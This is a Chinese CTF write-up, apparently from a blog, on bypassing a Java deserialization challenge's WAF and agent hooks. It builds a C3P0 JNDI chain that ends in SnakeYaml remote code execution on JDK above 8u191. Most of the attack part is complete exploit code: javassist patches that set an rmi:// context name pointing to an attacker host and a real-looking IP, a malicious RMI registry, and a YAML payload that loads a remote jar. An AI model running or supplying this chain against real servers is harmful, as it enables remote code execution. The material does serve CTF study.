        CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;");
        ctMethod.insertBefore(String.format(" if (expression!=null){\n            return null;\n        }", AgentDemo.class.getName()));
        inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(elProcessorClass, ctClass.toBytecode())});
        ctClass.detach();
        return ctClass.toBytecode();
    }

    public static byte[] c3p0(Instrumentation inst, ClassLoader loader) throws Exception {
        Class<?> aClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized", true, loader);
        ClassPool classPool1 = new ClassPool(true);
        classPool1.insertClassPath(new ClassClassPath(aClass));
        classPool1.insertClassPath(new LoaderClassPath(aClass.getClassLoader()));
        CtClass ctClass1 = classPool1.get(aClass.getName());
        CtMethod ctMethod1 = ctClass1.getMethod("getObject", "()Ljava/lang/Object;");
        ctMethod1.insertBefore(String.format(" if (reference!=null){\n            return null;\n        }", AgentDemo.class.getName()));
        inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass, ctClass1.toBytecode())});
        ctClass1.detach();
        return ctClass1.toBytecode();
    }
}

主类中首先获取连接DemoApplication的JVM,然后调用getJarFileByClass函数获取参数类所在jar包,并将其作为agentmain-Agent注入。

下面我们看agent的主类agentmain逻辑

执行了两个函数,分别看

public static void simpleDemo0(String agentOps, final Instrumentation inst) throws Exception {
    inst.addTransformer(new ClassFileTransformer() {
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) {
                try {
                    AgentDemo.el(inst, loader);
                } catch (Exception var7) {
                    var7.printStackTrace();
                }
            }

            return null;
        }
    }, true);
}

org/apache/tomcat/util/net/SocketBufferHandler类进行hook,然后执行AgentDemo.el方法

public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception {
    Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader);
    ClassPool classPool = new ClassPool(true);
    classPool.insertClassPath(new ClassClassPath(elProcessorClass));
    classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
    CtClass ctClass = classPool.get(elProcessorClass.getName());
    CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;");
    ctMethod.insertBefore(String.format(" if (expression!=null){\n            return null;\n        }", AgentDemo.class.getName()));
    inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(elProcessorClass, ctClass.toBytecode())});
    ctClass.detach();
    return ctClass.toBytecode();
}

主要逻辑是通过javassist修改javax.el.ELProcessor类中的源码。当expression!=null时,返回null。因此我们无法通过C3P0链执行EL表达式了。另一个Demo函数也类似

public static byte[] c3p0(Instrumentation inst, ClassLoader loader) throws Exception {
    Class<?> aClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized", true, loader);
    ClassPool classPool1 = new ClassPool(true);
    classPool1.insertClassPath(new ClassClassPath(aClass));
    classPool1.insertClassPath(new LoaderClassPath(aClass.getClassLoader()));
    CtClass ctClass1 = classPool1.get(aClass.getName());
    CtMethod ctMethod1 = ctClass1.getMethod("getObject", "()Ljava/lang/Object;");
    ctMethod1.insertBefore(String.format(" if (reference!=null){\n            return null;\n        }", AgentDemo.class.getName()));
    inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass, ctClass1.toBytecode())});
    ctClass1.detach();
    return ctClass1.toBytecode();
}

这里阻断了Reference类,因此不论是URLClassLoader加载任意类还是本地Reference都无法利用了。下面就剩下JNDI这条链子了。正常情况下C3P0打JNDI是需要有Fastjson或者Jackson漏洞依赖的,但题目并没有相应的漏洞环境。此外题目JDK环境是大于8u191的,还过滤了ldap协议,需要进行高版本绕过(简直Buff拉满)。

利用思路

首先题目能够反序列化一个任意类,在有C3P0依赖的情况下,URLClassLoader远程类加载这条链子是在反序列化PoolBackedDataSourceBase类过程中触发的。但是题目设置有waf,因此不能直接进行远程类加载。

在分析这条链子时,我提到过其实这条链子的ReferenceSerialized#getObject调用过Context.lookup(),但默认contextName为null,因此没法直接进行JNDI注入。

而之所以为空,是因为在序列化PoolBackedDataSourceBase类时,没有给属性contextName赋值

private void writeObject( ObjectOutputStream oos ) throws IOException
	{
		oos.writeShort( VERSION );
		try
		{
			//test serialize
			SerializableUtils.toByteArray(connectionPoolDataSource);
			oos.writeObject( connectionPoolDataSource );
		}
		catch (NotSerializableException nse)
		{
			com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
			try
			{
				Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
				oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
			}
			...
	}

跟进ReferenceIndirector#indirectForm

不论是writeObject还是indirectForm,都没有给这几个属性赋值。那么我们如何实现在序列化时赋值给contextName呢?作者提供了三种思路,其实这几种思路都比较相似,只是所使用的工具不同。

  • 修改C3P0源码
  • Agent技术修改indirectForm源码
  • 直接修改序列化字节码

解决了JNDI注入,下面的问题就是RCE了。结合题目给出的依赖,很明显是JNDI结合SnakeYaml进行高版本绕过RCE。下面给出前两种方式的利用过程

修改C3P0字节码

想修改私有方法字节码,我们可以使用javassist技术。我们直接修改PoolBackedDataSourceBase#writeObject的方法体

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import javassist.*;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_NoURLClassLoader {


    public static void Pool_Serial(ConnectionPoolDataSource c, CtClass ctClass ) throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, InstantiationException, NoSuchMethodException {

        // 使用当前的ClassLoader加载被修改后的类
        Class<PoolBackedDataSourceBase> newClass = ctClass.toClass();

        PoolBackedDataSourceBase poolBackedDataSourceBase = newClass.newInstance();

        //反射修改connectionPoolDataSource属性值
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);

        //序列化流写入文件
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);

    }

    //反序列化
    public static ReferenceIndirector Pool_Deserial() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);
        return (ReferenceIndirector) objectInputStream.readObject();
    }

    //字节码转Base64
    public static String Base64_Encode(String filename) throws IOException {
        File file = new File(filename);
        FileInputStream inputStream=new FileInputStream(filename);
        byte[] data = new byte[(int) file.length()];
        inputStream.read(data);
        return java.util.Base64.getEncoder().encodeToString(data);
    }

    public static void main(String[] args) throws ClassNotFoundException, NotFoundException, CannotCompileException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException {


        ClassPool cp = ClassPool.getDefault();
        CtClass poolbacked = cp.get("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        CtMethod ctMethod = poolbacked.getDeclaredMethod("writeObject");

        //将构造函数修饰符设置为public,以便后续实例化
        CtConstructor ctConstructor = poolbacked.getDeclaredConstructor(new CtClass[]{});
        ctConstructor.setModifiers(Modifier.PUBLIC);

        //修改writeObject方法体,给contextName赋值
        ctMethod.setBody("\t{\n" +
                "\t\t$1.writeShort( VERSION );\n" +
                "\t\ttry\n" +
                "\t\t{\n" +
                "\t\t\t//test serialize\n" +
                "\t\t\tcom.mchange.v2.ser.SerializableUtils.toByteArray(connectionPoolDataSource);\n" +
                "\t\t\t$1.writeObject( connectionPoolDataSource );\n" +
                "\t\t}\n" +
                "\t\tcatch (java.io.NotSerializableException nse)\n" +
                "\t\t{\n" +
                "\t\t\tcom.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, \"Direct serialization provoked a NotSerializableException! Trying indirect.\", nse);\n" +
                "\t\t\ttry\n" +
                "\t\t\t{\n" +
                "\t\t\t\tcom.mchange.v2.naming.ReferenceIndirector indirector = new com.mchange.v2.naming.ReferenceIndirector();\n" +
                "\t\t\t\tjava.util.Properties properties = new java.util.Properties();\n" +
                "\t\t\t\tjavax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://vps:9999/calc\",properties);\n" +
                "\t\t\t\tindirector.setNameContextName(compoundName);\n" +
                "\t\t\t\t$1.writeObject( indirector.indirectForm( connectionPoolDataSource ) );\n" +
                "\t\t\t}\n" +
                "\t\t\tcatch (java.io.IOException indirectionIOException)\n" +
                "\t\t\t{ throw indirectionIOException; }\n" +
                "\t\t\tcatch (java.lang.Exception indirectionOtherException)\n" +
                "\t\t\t{ throw new java.io.IOException(\"Problem indirectly serializing connectionPoolDataSource: \" + indirectionOtherException.toString() ); }\n" +
                "\t\t}\n" +
                "\t\t$1.writeObject( dataSourceName );\n" +
                "\t\ttry\n" +
                "\t\t{\n" +
                "\t\t\t//test serialize\n" +
                "\t\t\tcom.mchange.v2.ser.SerializableUtils.toByteArray(extensions);\n" +
                "\t\t\t$1.writeObject( extensions );\n" +
                "\t\t}\n" +
                "\t\tcatch (java.io.NotSerializableException nse)\n" +
                "\t\t{\n" +
                "\t\t\tcom.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, \"Direct serialization provoked a NotSerializableException! Trying indirect.\", nse);\n" +
                "\t\t\ttry\n" +
                "\t\t\t{\n" +
                "\t\t\t\tcom.mchange.v2.ser.Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();\n" +
                "\t\t\t\t$1.writeObject( indirector.indirectForm( extensions ) );\n" +
                "\t\t\t}\n" +
                "\t\t\tcatch (java.io.IOException indirectionIOException)\n" +
                "\t\t\t{ throw indirectionIOException; }\n" +
                "\t\t\tcatch (java.lang.Exception indirectionOtherException)\n" +
                "\t\t\t{ throw new java.io.IOException(\"Problem indirectly serializing extensions: \" + indirectionOtherException.toString() ); }\n" +
                "\t\t}\n" +
                "\t\t$1.writeObject( factoryClassLocation );\n" +
                "\t\t$1.writeObject( identityToken );\n" +
                "\t\t$1.writeInt(numHelperThreads);\n" +
                "\t}");

        NewPoolBacked newPoolBacked = new NewPoolBacked();
        Pool_Serial(newPoolBacked,poolbacked);
        System.out.println(Base64_Encode("exp.bin"));
        ReferenceIndirector referenceIndirector = Pool_Deserial();
//        System.out.println(referenceIndirector.getNameContextName());


    }

    public static class NewPoolBacked implements ConnectionPoolDataSource, Referenceable {

        @Override
        public Reference getReference() throws NamingException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }


    }
}

然后是恶意RMI服务器,ResourceRef内是snakeyaml的链子

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(9999);
        ResourceRef ref = tomcat_snakeyaml();
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);
        System.out.println("Registry运行中...");
    }

    //Snake Yaml RCE利用
    public static ResourceRef tomcat_snakeyaml(){
        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        String yaml = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://vps-ip:8888/exp.jar\"]\n" +
                "  ]]\n" +
                "]";
        ref.add(new StringRefAddr("forceString", "a=load"));
        ref.add(new StringRefAddr("a", yaml));
        return ref;
    }
}

这里涉及到了Snake Yaml反序列化漏洞,感觉和Fastjson差不多,以后有时间再分析吧。这里先利用加载远程jar包RCE的Payload。其中jar包制作过程为artsploit/yaml-payload

然后在远程服务器上放置jar包,启动RMI服务器,成功执行。注意jar包所在环境的JDK版本最好和题目相同(8u212).

java -jar -Djava.rmi.server.hostname="vps-ip" RMI.jar

实际在进行利用的时候也碰到了各种各样的问题,如果没收到请求可以多换几个vps试试。

Agent技术修改indirectForm源码

和上一种方法类似,只不过是使用Agent技术来修改indirectForm的源码。不论是修改writeObject函数还是indirectForm,只要能合法地修改contextName的属性值即可。先写一个agentmain-Agent

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.List;

public class Agent {
    public static void agentmain(String agentOps, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException, NotFoundException, CannotCompileException, IOException {

        //获取要hook的类
        for (Class allLoadedClass : inst.getAllLoadedClasses()) {
//            System.out.println(allLoadedClass);
            if (allLoadedClass.getName().contains("C3P0_NoURLClassLoader_Agent")) {

                //修改ReferenceIndirector#indirectForm方法体,给contextName赋值
                Class<?> elProcessorClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector");
                ClassPool classPool = new ClassPool(true);
                //添加额外的类加载路径和类加载器
                classPool.insertClassPath(new ClassClassPath(elProcessorClass));
                classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
                CtClass ctClass = classPool.get(elProcessorClass.getName());
                CtMethod ctMethod = ctClass.getMethod("indirectForm", "(Ljava/lang/Object;)Lcom/mchange/v2/ser/IndirectlySerialized;");
                ctMethod.insertBefore(String.format("java.util.Properties properties = new java.util.Properties();\n" +
                        "        javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://82.156.215.191:9999/calc\",properties);" +
                        "contextName=compoundName;", Agent.class.getName()));
                //重定义类,加载修改过的类
                inst.redefineClasses(new ClassDefinition(elProcessorClass,ctClass.toBytecode()));
                ctClass.detach();
            }
        }
    }

    public static void main(String[] args) throws Throwable{
        //获取要hook的JVM
        List<VirtualMachineDescriptor> vms = VirtualMachine.list();
        String targetPid = null;
        for (int i = 0; i < vms.size(); i++) {
            VirtualMachineDescriptor vm = vms.get(i);
            if (vm.displayName().contains("C3P0_NoURLClassLoader_Agent")) {
                System.out.println(vm.displayName());
                targetPid = vm.id();
                System.out.println(targetPid);
            }
        }
        VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
        //加载Agent到目标JVM
        virtualMachine.loadAgent("out/artifacts/Agent_jar/Agent.jar",null);
        virtualMachine.detach();
    }
}

MEAT-INF/MANIFEST.MF如下,打包成Agent.jar

Manifest-Version: 1.0
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

下面是生成payload的脚本,先运行该脚本,再运行Agent.java进行hook

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_NoURLClassLoader_Agent {

    //序列化
    public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
        //反射修改connectionPoolDataSource属性值
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);

        //序列化流写入文件
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);

    }

    //反序列化
    public static ReferenceIndirector Pool_Deserial() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);
        return (ReferenceIndirector) objectInputStream.readObject();
    }

    //字节码转Base64
    public static String Base64_Encode(String filename) throws IOException {
        File file = new File(filename);
        FileInputStream inputStream=new FileInputStream(filename);
        byte[] data = new byte[(int) file.length()];
        inputStream.read(data);
        return java.util.Base64.getEncoder().encodeToString(data);
    }

    public static void main(String[] args) throws InterruptedException, IOException, NoSuchFieldException, IllegalAccessException {
        //方便agent
        Thread.sleep(10000);
        NewPollBacked2 newPollBacked2 = new NewPollBacked2();
        Pool_Serial(newPollBacked2);
        System.out.println(Base64_Encode("exp.bin"));


    }

    public static class NewPollBacked2 implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇